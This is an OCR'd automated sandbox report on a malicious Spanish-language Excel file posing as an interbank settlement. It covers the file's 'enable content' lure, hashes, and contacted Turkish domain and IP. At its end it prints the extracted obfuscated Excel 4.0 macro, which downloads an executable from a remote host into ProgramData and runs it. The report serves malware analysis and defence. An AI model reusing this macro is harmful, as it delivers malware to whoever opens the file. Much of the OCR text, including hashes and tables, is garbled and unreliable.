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General
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General

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2453
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Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: VAX-order 68k Blit mpx/mux executable, Stream Size: 522
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Analysis Report LIQUIDACION INTERBANCARIA 02_22_...

Overview

General Information Detection

Sample LIQUIDACION
Name: INTERBANCARIA MALICIOUS Office document tries to convince Vvi...
02_22_2021.xl .
- xS Document exploit detected (UrlDown...

Analysis ID: 356267

. Found Excel 4.0 Macro with suspicio...
MDs: 8cc0e4d5044939..
SHAL: 61calac2acofaof Found obfuscated Excel 4.0 Macro

: calae2acOfa0f..
SHA256: 35cf92b551f09ba Document containsiembedded VBA ...
Tags: Potential document exploit detected:..

Most interesting Screenshot:

Classification

Potential documentexploitdetected...

Potential documentexploitdetected...

w
«Q
>
2
(=
=
®
(7]

Hldde Mac Unableitolload; office filelis protecte...
Score: 60
Range: 0-100
Whitelisted: false
Confidence: 100%
i; e A : - |
Startup

= System is w7x64

. EXCEL.EXE (PID: 2276 cmdline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding MD5: 5FBOAOF93382ECD19F5F499A5CAA59F0)
= cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview
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@ Compliance

@ Software Vulnerabilities

@ Networking

@ System Summary

@ Hooking and other Techniques for Hiding and Protection

g

Click to jump to signature section

Compliance:

Uses new MSVCR DlIs

Software Vulnerabilities: | |

System Summary:

Mitre Att&ck Matrix

Remote
Initial Privilege  Defense Credential Lateral Command Network Service
Access Execution Persistence Escalation Evasion Access Discovery  Movement Collection Exfiltration and Control Effects Effects In
Valid Scripting Path Path Masquerading oS File and Remote Data from  Exfiltration Encrypted Eavesdrop on  Remotely M
Accounts Interception  Interception Credential Directory Services Local Over Other Channel Insecure Track Device S
Dumping  Discovery System Network Network Without Pi
Medium Communication Authorization
Default  Exploitation for Boot or Boot or Disable or Modify LSASS System Remote Data from  Exfiltration Non- Exploit SS7 to  Remotely D
Accounts Client Logon Logon Tools Memory  Information  Desktop Removable Over Application Redirect Phone Wipe Data  Lc
Execution Initialization  Initialization Discovery Protocol Media Bluetooth  Layer Calls/SMS Without
Scripts Scripts Protocol Authorization
Domain At (Linux) Logon Script Logon Scripting Security  Query SMB/Windows Data from Automated Application Exploit SS7 to  Obtain Di
Accounts (Windows)  Script Account  Registry Admin Shares Network Exfiltration Layer Track Device  Device Di
(Windows) Manager Shared Protocol Location Cloud Di
Drive Backups
Local At (Windows)  Logon Script Logon Obfuscated Files NTDS System Distributed Input Scheduled Protocol SIM Card Ci
Accounts (Mac) Script or Information Network Component  Capture Transfer Impersonation Swap Bi
(Mac) Configuration Object Model Fr

Discovery

Behavior Graph
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Screenshots

Thumbnails

ID:

Sample:

Startdate:

Architecture:

Score:

-

Hide Legend

Behavior Graph Legend:

[]
O

356267

LIQUIDACION INTERBANCARIA 0...
22/02/2021

WINDOWS

60

@+l

Y
*
"en

)ES 8

i
i
=

2 (it~ |

a EXCEL.EXE G
Q@

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

a8
CRHLN

seyranikenger.com.tr

185.162.146.6, 443, 49167, 49168
BURSABILTR
Turkey &=

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

www.seyranikenger.com.tr
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LIQUIDACION INTERBANCARIA 02_22 2021 [Compatibility Mode] - Microsoft Excel - LIQUIDACION INTERBANCARIA 02 22 2021 [Compatibility Mode] o & 2

Home | Inset  Pagelayout  Formulas  Data  Review  View 2@ o @ =

) o ' N
. Calibri Y 2 S wrap Text General - *ﬂ % ;ﬂ jEEI a ;Aulﬂium f?? \?&
133 Copy ~ | Fill - -
B IU- EiMergeacenter- @@ 5, s | %8 98 Conditional Format Cell | Insert Delete Format Sort& Find &
# Format Painter s = =% ® =9 Formatting - as Table - Styles= | ~ - - d2Cear~  Fier~ Select-

Clipboard ] Alignment ] Humber Styles Cells Editing

S
ra

R Book 1 - Excel
m HOME INSERT  PAGE LAYOUT FORMULAS DATA REVIEW  VIEW DEVELOPER  ADD-INS
& y = _
o Caibri Jn A A = »- SPwopText Dote
yCopy
Paste 2 ne A - =3B ; -0 9
¢ o fomatpainter B T Y A Merge & C $-%
pboard ; .

1/ SECURITY WARNING Macros have been disabled. Enable Content

A239 i fi

1
2

ERROR DOCUMENTO DE APERTURA

0 :
POR QUE:

Este documento estd protegido mediante la funcién de seguridad ASCIl 2021 y usted esté utilizando una
funcién de seguridad de Excel con fecha anterior.

SOLUCION:

6 .
1. Para ver el contenido de este documento, descargue el documento y siga las flechas como se muestra en
el diagrama anterior y haga clic en Habilitar edicién o Habilitar contenido para ver el documento original

con su versién de Excel.

30 2. También puede eliminar su versidn actual de Microsoft Office y descargar |a dltima versién con fecha
31 18/01/2021.

W v W] Feuill /%J
Ready | |[EO M 1o0%

e - o € € B

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches
Dropped Files

No Antivirus matches
Unpacked PE Files
No Antivirus matches
Domains

No Antivirus matches

URLs

No Antivirus matches

Domains and IPs
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Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
seyranikenger.com.tr 185.162.146.6 true false unknown
www.seyranikenger.com.tr unknown unknown false unknown

Contacted IPs

»
l..
] No. of IPs < 25%
B 25% < No. of IPs < 50% /)'
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs
Public
P Domain Country Flag ASN ASN Name Malicious
185.162.146.6 unknown Turkey 60721 BURSABILTR false

General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 356267

Start date: 22.02.2021

Start time: 20:28:29

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 4m 32s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: LIQUIDACION INTERBANCARIA 02_22_2021.xls
Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,

Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 4
Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o O o o

Number of injected processes analysed:
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Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

No simulations

Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

Match
BURSABILTR

Copyright null 2021

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled

default

Timeout

MAL
mal60.expl.evad.winXLS@1/4@1/1

e Adjust boot time

e Enable AMSI

e Found application associated with file extension:
Xls

e Changed system and user locale, location and

keyboard layout to French - France

Found Word or Excel or PowerPoint or XPS Viewer

Attach to Office via COM

Scroll down

Close Viewer

Show All
e Exclude process from analysis (whitelisted):
dlilhost.exe
e VT rate limit hit for:
lopt/package/joesandbox/database/analysis/35626
7/sample/LIQUIDACION INTERBANCARIA
02_22_2021.xIs

Detection Link Context
malicious Browse e 194.31.59.68
malicious Browse e 45.139.223.28
malicious Browse e 45.139.223.28
malicious Browse e 45.139.223.28
malicious Browse e 45.139.202.202
malicious Browse e 45.139.202.202
malicious Browse e 185.162.146.30
malicious Browse e 185.126.176.84
malicious Browse e 185.126.176.84
malicious Browse e 185.126.176.84
malicious Browse e 185.126.176.84
malicious Browse e 185.126.176.84
malicious Browse e 185.126.176.84
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https://view.joesandbox.com/analysis/256524/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256524/html/none?idtype=webid
https://view.joesandbox.com/analysis/245342/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245342/html/none?idtype=webid
https://view.joesandbox.com/analysis/240208/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/240208/html/none?idtype=webid
https://view.joesandbox.com/analysis/239574/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/239574/html/none?idtype=webid
https://view.joesandbox.com/analysis/236007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236007/html/none?idtype=webid
https://view.joesandbox.com/analysis/229602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/229602/html/none?idtype=webid
https://view.joesandbox.com/analysis/221582/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/221582/html/none?idtype=webid
https://view.joesandbox.com/analysis/204757/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204757/html/none?idtype=webid
https://view.joesandbox.com/analysis/204752/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204752/html/none?idtype=webid
https://view.joesandbox.com/analysis/204745/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204745/html/none?idtype=webid
https://view.joesandbox.com/analysis/204740/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204740/html/none?idtype=webid
https://view.joesandbox.com/analysis/204739/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204739/html/none?idtype=webid
https://view.joesandbox.com/analysis/204737/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204737/html/none?idtype=webid

Match

Associated Sample Name /| URL SHA 256 Detection Link Context

Get hash malicious Browse e 185.126.176.84
Get hash malicious Browse e 185.126.176.84
Get hash malicious Browse e 185.126.176.84
Get hash malicious Browse e 185.126.176.84
Get hash malicious Browse e 185.126.176.84
Get hash malicious Browse e 185.126.176.84

Get hash malicious Browse e 185.126.176.84

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\7AEE0000

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

data

dropped

229058

7.982639414599616

false

6144:dFcAyojHNQB2+Uvs6 TUOEAOle7mfFjnmQW/AVc9PT:dxhkpUv30SWmc2PT
6C7E2AB214EF2B07805B5B6139F7DDBA
CF16AD747082845DC7ED15D52AE17F4C5218390D
29FE2CA28C39E9D370F4DF19F55BF993F68AEC530C149CD4F030DDBD89B411C7

264DCFCF4F2942123FEF40A4CDAC168DD50A3A5BD49AAC6EDA4CEIGEF8B322BFF4817F3E4CAL5DF22CFA604B70AFBCDAESE82E89475C2075F99A49C412F8/
394

false

low

.u.no..2." . Cl?.& ke .. 1LF{1dQ...;._o..6...+>c.x.m.~=.._Y.Yz-m... N.0..E............. SRVAVIICK OjE][ .g./B....i.... 3> \n L XVE?W..&C.F.LF......VF....5.@]....<&C...I.
1.G5.04.+....... .6.81.°¢"~.N(..9......P..HGi...L.L.8lL.al[..qU. 4 ..%....21W66.....L..W. =r.L.w.sO.I>.b R..T..D.#.+}iz...8"b...K..
t...R6..(.TU.. .[Content_Types].me

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Tue Feb 23
03:29:45 2021, atime=Tue Feb 23 03:29:45 2021, length=12288, window=hide

dropped

867

4.489637393354788

false
12:85QDLgXg/XAICPCHaxX2B8GB/boGkfX+WnicvblObDtZ3YiIMMEpXRIKMTdIPITK:858/XTm6GFqYe8Dv3q7rNru/
CEBB838762BF6A5323F565EBB2ED25679

2821E171EF1BEBDD47CC4D467FB6A57223CDC006
20ECO08F1EE0F838B2BD041B53E9DECC3EFB6CCB3BB5F72AA85C27EB7EACDF758

F271EFADFEGOEE8BA3892ACBE7D7CAB2C165E9C92D058DFC780C2AD121378E8E3BD85DD7705FC53A9B814BF8E2EA9BS51DAESC71A7DOF064BDCB43C9245A40!
1B1

false

low

......... t.1.....QK.X..Users. ..........QK.X*.
Ui WR.#..Desktop.d...... QK. XWR.#*..._:
. ..Ci\Users\.#.......c.ccceee \226546\Users.user\Desktop....... \.. .D.e.s.kto.p...
-1 .5. .2.1. .9.6.6.7.7.1.3.1.5. .3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6... X.......226546..

6....Us.ers..@.s.hell3.2.dll,.-

.D.esskto.p.@.s.h.ell3.2.dll,.-2
. 1SPS.XF.L

. G3BNLWLLO [ }EKD_....3N

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\LIQUIDACION INTERBANCARIA 02_22_2021.LNK

Process:

Copyright null 2021

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE
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https://view.joesandbox.com/analysis/204734/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204734/html/none?idtype=webid
https://view.joesandbox.com/analysis/204733/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204733/html/none?idtype=webid
https://view.joesandbox.com/analysis/204725/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204725/html/none?idtype=webid
https://view.joesandbox.com/analysis/204722/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204722/html/none?idtype=webid
https://view.joesandbox.com/analysis/204720/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204720/html/none?idtype=webid
https://view.joesandbox.com/analysis/204713/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204713/html/none?idtype=webid
https://view.joesandbox.com/analysis/204711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/204711/html/none?idtype=webid

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\LIQUIDACION INTERBANCARIA 02_22_2021.LNK

File Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:17 2020, mtime=Tue Feb 23 03:29:45 2021,
atime=Tue Feb 23 03:29:45 2021, length=784896, window=hide

Category: dropped

Size (bytes): 2288

Entropy (8bit): 4.555482484816661

Encrypted: false

SSDEEP: 48:8f/XTFGqUzjND57Qh2f/XTFGqUzjND57Q/:8f/XJGqG/7Qh2f/XIGqG/7Q/

MD5: 7E60BDABCA27C3CC5701244AC21EF4ADA

SHA1L: C2982A7D443AE41108C86D7B698851B16C38964E

SHA-256: 3A7610A376EBF8AA07157C12F89243881CABFCAFCD84DE309927082EF6141D12

SHA-512: BF9DB02C360C878E9667BE0AB697BI4EB715D59FA6349C373F2932E4355348F66D323D373D8338DFFIB8946FEE38D925DF41287FD5CB3847C92E9ACESE6D786

Malicious: false

Reputation: low

Preview:

A00../C N t.1....QK.X..Users. ....
Alb.us....z.1.....Q.y..Desktop.d......QK.X.Q.y*..._:
......... L..Q.U.LD.A.C.I.LO.N.

1.7.6.9......2...
..... ?J......C.\Users\..#............

INT.ERBAN.CAR.IA. .02_22_.2021.xls.......i..,.LB.)..AQ...cocernnnn 1SPS.XF.L8C...&mM............-...

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

YL .IN.TERBAN.CARIA .02._22_.2021.xls..
. \\226546\Users user\Desktop\LIQUIDACION INTERBANCARIA 02_22_2021.xIs.?.....\..
S.-1.-5.-21-96.6.7.7.1.3.1.5.-3.0.1.9.4.0.5.6.3.

.6....Us.ers..@.s.h.e.ll32.dll,.
Desktop .@.s.h.e.l.l.3.2...d.LI.,.

8...[.......
...\.D.e.s.k.t.o.p.\.L.I.Q.U.I.D.A.C.I.O.N.

\.

:,

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 161

Entropy (8bit): 4.645820606938903

Encrypted: false

SSDEEP: 3:0yBVomMHvLJIOrmkT46IxaAvLIOrmkT46lmMHvLIOrmkT46lv:dj6UTtjaTTtxUTt1

MDS5: 618DC56A1C2E874ECEFE016D75912A39

SHA1L: E59AAD8BC8D58CDCI64EEA6ES3F8984B28CFA4EB

SHA-256: 01F801B1C3886DD726A351A3D1E028F996751D6F45823B4DDD81571F9DD1E6GA2

SHA-512: FFB6D23ESE6E1FFBBICO8BEC78B2A7865E787C8CAAC5FB351BD1DF31F3039CE1DA763CB4B04B48972B94A5A7809D90453DE0A4DEA987962F5AEEE48B99FCI2i
41

Malicious: false

Reputation: low

Preview:

Desktop.LNK=0..[xIs]..LIQUIDACION INTERBANCARIA 02_22_2021.LNK=0..LIQUIDACION INTERBANCARIA 02_22_2021.LNK=0..[xIs]..LIQUIDACION INTERBANCAR

IA 02_22 2021.LNK=0..

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 10.0, Code page: 1252, Author:
Dexter MORGAN, Last Saved By: HP PC, Name of C
reating Application: Microsoft Excel, Create Time/Date:
Thu Dec 3 22:00:53 2020, Last Saved Time/Date: Mon
Feb 22 09:51:33 2021, Security: 0

7.938164956946986

e Microsoft Excel sheet (30009/1) 47.99%

e Microsoft Excel sheet (alternate) (24509/1) 39.20%

e Generic OLE2 / Multistream Compound File
(8008/1) 12.81%

LIQUIDACION INTERBANCARIA 02_22_2021.xls
774656

8cc0e4d5044939ef3d7a7d8825d8c9c9
61calae2ac0fa0fb0f075ee09f9ff83985b5b66h

35cf92h551f09ba61770celc7c5dc73b3c3e291eb98948¢
87d430646370a103f

f73682albl6cad271e711a539a078e266e181ec7bc9927
844d285h238e789felca727acce8fc2f6997c0fed163f177
7e442fc390529ed96ebdb533adfdeal3716

12288:27xSO0ZMQQNQ3yUZLUXA2ZGoMXFrYETEwWI
hMA++KnoGnkp4zLOmJIm8gz:27EkznQ3bZIXASFEQwI
hMA++LGkp4wmY
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File Icon

Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "LIQUIDACION INTERBANCARIA 02_22_2021.xlIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:
Contains Workbook/Book Stream:
Contains PowerPoint Document Stream:
Contains Visio Document Stream:
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Company:

Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams with VBA

VBA File Name: Feuill.cls, Stream Size: 977

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword
VB_Exposed
Attribute
VB_Name

Copyright null 2021

edeea286adb4bcb4

OLE

True
Microsoft Excel
False
False
True
False

False

True

1252

Dexter MORGAN
HP PC

2020-12-03 22:00:53
2021-02-22 09:51:33
Microsoft Excel

0

1252

False

False
False
False

1048576

_VBA_PROJECT_CUR/VBA/Feuill
Feuill.cls

977

01 16 01 00 00 fO 00 00 00 c4 02 00 00 d4 00 00 00 00 02 00 00 ff ff ff ff cb 02 00 00 1f 03 00
00 00 00 00 00 01 00 00 00 1a aa 91 12 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00
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Keyword
VB_Creatable
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable
False

VB_TemplateDerived

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 1142

General
Stream Path:
VBA File Name:
Stream Size:

Data ASCII:

Data Raw:

VBA Code Keywords

Keyword

False
VB_Exposed
Attribute
VB_Name
VB_Creatable
"ThisWorkbook"
VB_Predeclaredld
VB_GlobalNameSpace
VB_Base
VB_Customizable

VB_TemplateDerived

VBA Code

Streams

Stream Path: \xX1CompObj, File Type: data, Stream Size: 108

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \xX5DocumentSummarylnformation, File Type: data, Stream Size: 244

General
Stream Path:
File Type:

Stream Size:

Copyright null 2021

_VBA_PROJECT_CUR/VBA/ThisWorkbook
ThisWorkbook.cls
1142

01 16 01 00 01 f0 00 00 00 Oc 03 00 00 d4 00 00 00 00 02 00 00 ff ff f ff 13 03 00 00 a7 03 00
00 00 00 00 00 01 00 00 00 1a aa 97 8c 00 00 ff ff 23 01 00 00 88 00 00 00 b6 00 ff ff 01 01
00 00 00 00 ff ff ff ff 00 00 00 00 ff f ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

\x1CompObj
data

108
4.18849998853
True

....Microsoft Excel 2003 Worksheet.

Excel.Sheet.8..9.q

01 00 fe ff 03 0a 00 00 ff ff ff ff 20 08 02 00 00 00 00 00 cO 00 00 00 00 00 00 46 20 00 00 00
le 4d 69 63 72 6f 73 6f 66 74 20 45 78 63 65 6¢ 20 32 30 30 33 20 57 6f 72 6b 73 68 65 65 74
00 06 00 00 00 42 69 66 66 38 00 Oe 00 00 00 45 78 63 65 6¢ 2e 53 68 65 65 74 2e 38 00 f4
39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

\x5DocumentSummarylnformation
data

244
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General

Entropy: 2.67634243661
Base64 Encoded: False
Data ASCII:

Data Raw: fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 c4 00 00 00 09 00 00 00 01 00 00 00
50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 Ob 00 00 00 6¢ 00 00 00 10 00
00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8¢ 00 00 00
0Oc 00 00 00 9f 00 00 00

Stream Path: \x5Summarylinformation, File Type: data, Stream Size: 216

General

Stream Path: \x5Summaryinformation

File Type: data

Stream Size: 216

Entropy: 3.65061706767

Base64 Encoded: False

Data ASCIl: e Oh..... +' .0 @....... H...

DT P Dexter MORGA

.......... HP PC...........Microsoft Excel.@...........@.....*M

Data Raw: fe ff 00 00 Oa 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f

f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a8 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 60 00 00 00 12 00 00 00 70 00 00 00 Oc 00 00
00 88 00 00 00 0d 00 00 00 94 00 00 00 13 00 00 00 a0 00 00 00 02 00 00 00 e4 04 00 00 1e
00 00 00 10 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 758471

General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16

Stream Size: 758471

Entropy: 7.96834669995

Base64 Encoded: True

Data ASCIl: ZO . e \.p....HP PC
B..... a......... P ThisWorkbook......................
.............. =.......2FC.8.......X

Data Raw: 09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 el 00 02 00 b0 04 c1 00 02 00

00 00 e2 00 00 00 5¢ 00 70 00 05 00 00 48 50 20 50 43 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Stream Path: _VBA_PROJECT_CURI/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 501

General

Stream Path: _VBA_PROJECT_CUR/PROJECT

File Type: ASCII text, with CRLF line terminators

Stream Size: 501

Entropy: 5.22430114012

Base64 Encoded: True

Data ASCII: ID="{00000000-0000-0000-0000-000000000000}"..Documen
t=ThisWorkbook/&HO00000000..Document=Feuill/&H0000000
O..HelpFile=""..Name="VBAProject"..HelpContextID="0"..Ve
rsionCompatible32="393222000"..CMG="F7F55B56A5BA98B
E98BE9CC29CC2".. DPB="EEEC426FCE91D8AED8AE2752

Data Raw: 49 44 3d 22 7b 30 30 30 30 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30 30 30 30 2d 30

30 30 30 30 30 30 30 30 30 30 30 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f
72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 44 6f 63 75 6d 65 6e 74 3d 46 65 75
69 6¢ 31 2f 26 48 30 30 30 30 30 30 30 30 0d Oa 48 65 6¢ 70 46 69 6¢ 65 3d 22 22 0d Oa 4e
61 6d 65 3d 22 56 42

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 62

General

Stream Path: _VBA_PROJECT_CUR/PROJECTwm
File Type: data

Stream Size: 62

Entropy: 3.11998328335

Base64 Encoded: False
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General

Data ASCII: ThisWorkbook.T.h.i.s.W.o.r.k.b.o.o.k...Feuill.F.e.u.i.l.1....

Data Raw: 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00
6f 00 6f 00 6b 00 00 00 46 65 75 69 6¢ 31 00 46 00 65 00 75 00 69 00 6¢ 00 31 00 00 00 00
00

Stream Path: _VBA_PROJECT_CURIVBA/ _VBA_PROJECT, File Type: data, Stream Size: 2453

General

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT

File Type: data

Stream Size: 2453

Entropy: 3.93667032984

Base64 Encoded: False

Data ASCII: B ,.*.\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C...\\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.C.o.m.m.o.n. .
F.i.l.e.s.\.M.i.c.r.o.s.o.f.t. .S.h.a.r.e.d.\.W.B.A.\.V.B.A.7..

Data Raw: cc 61 af 00 00 01 00 ff Oc 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04

00 02 00 2c 01 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d
00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d
00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34
00 2e 00 32 00 23 00

Stream Path: _VBA_PROJECT_CURIVBAIdir, File Type: VAX-order 68k Blit mpx/mux executable, Stream Size: 522

General

Stream Path: _VBA_PROJECT_CUR/VBA/dir

File Type: VAX-order 68k Blit mpx/mux executable

Stream Size: 522

Entropy: 6.33446971204

Base64 Encoded: True

Data ASCIl: O*..... p..H..... d........ VBAProje.ct.. 4. @..j...=....r.
....... K..a.....J<.....r.stdole>...s.t.d.o..l.e...h.%.~..*\G{00.C
20430-..... C...... 004.6}#2.0#0.#C:\Wind.ows\SysW OWG64\\.

.tIb#OLE .Automati.on. ...EOffDic.EO.f..i..c.E....... E.2D

F8DO04C.-

Data Raw: 01 06 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4

04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 Oa
3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 4b fc ca 61 05 94 00 Oc 02 4a 3c 02 0a 16 00
01 72 80 73 74 64 6f 6¢ 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6¢ 00 65 00 Od 00 68 00
2502 5e 00 03 2a 5¢ 47

Macro 4.0 Code

=IF(GET.WORKSPACE(30+12);;CLOSE(TRUE))";;;:::::"=IFISNUMBER(SEARCH("'32":GET.WORKSPACE(1))); GOTO(B126):GOTO(C126))"
—CHAR(G7)&0HAR(65)&CHAR(76)&CHAR(76)&""("""" " &CHAR(108)& " mon™" """UR"""&CHAR(76)&"""Down"""&CHAR(108)&"""0ad ToFi"""&CHAR(108)&"""eA""" """ JJCCII"",0,CHAR(
104)&"‘"'"ttps Ilwww.seyranikenger.com.tr/mensajeria_system.exe™"","""C:\""" & Char(80) & Char(82) & """OGRAMDATA\a."""&CHAR(101)&""""xe""")"";::"EXEC("'C:\""&CHAR(80)&CHAR(82)&""OGR
AMDATA\a."&CHAR(101)&""xe")";:::"=CHAR(67)&CHAR(65)&CHAR(76)&CHAR(76)&" ("""ur"""&CHAR(108)&"""mon""","""UR """ &CHAR(76)&"""Down"""&CHAR(108)&"""0ad ToFi"""& CHAR(108)&
g A e BBCCBB™™,0,CHAR(104)& ™ ttps:/www.seyranikenger.com.tr/mensajeria_system.exe™" """ C:\""" & Char(80) & Char(82) &

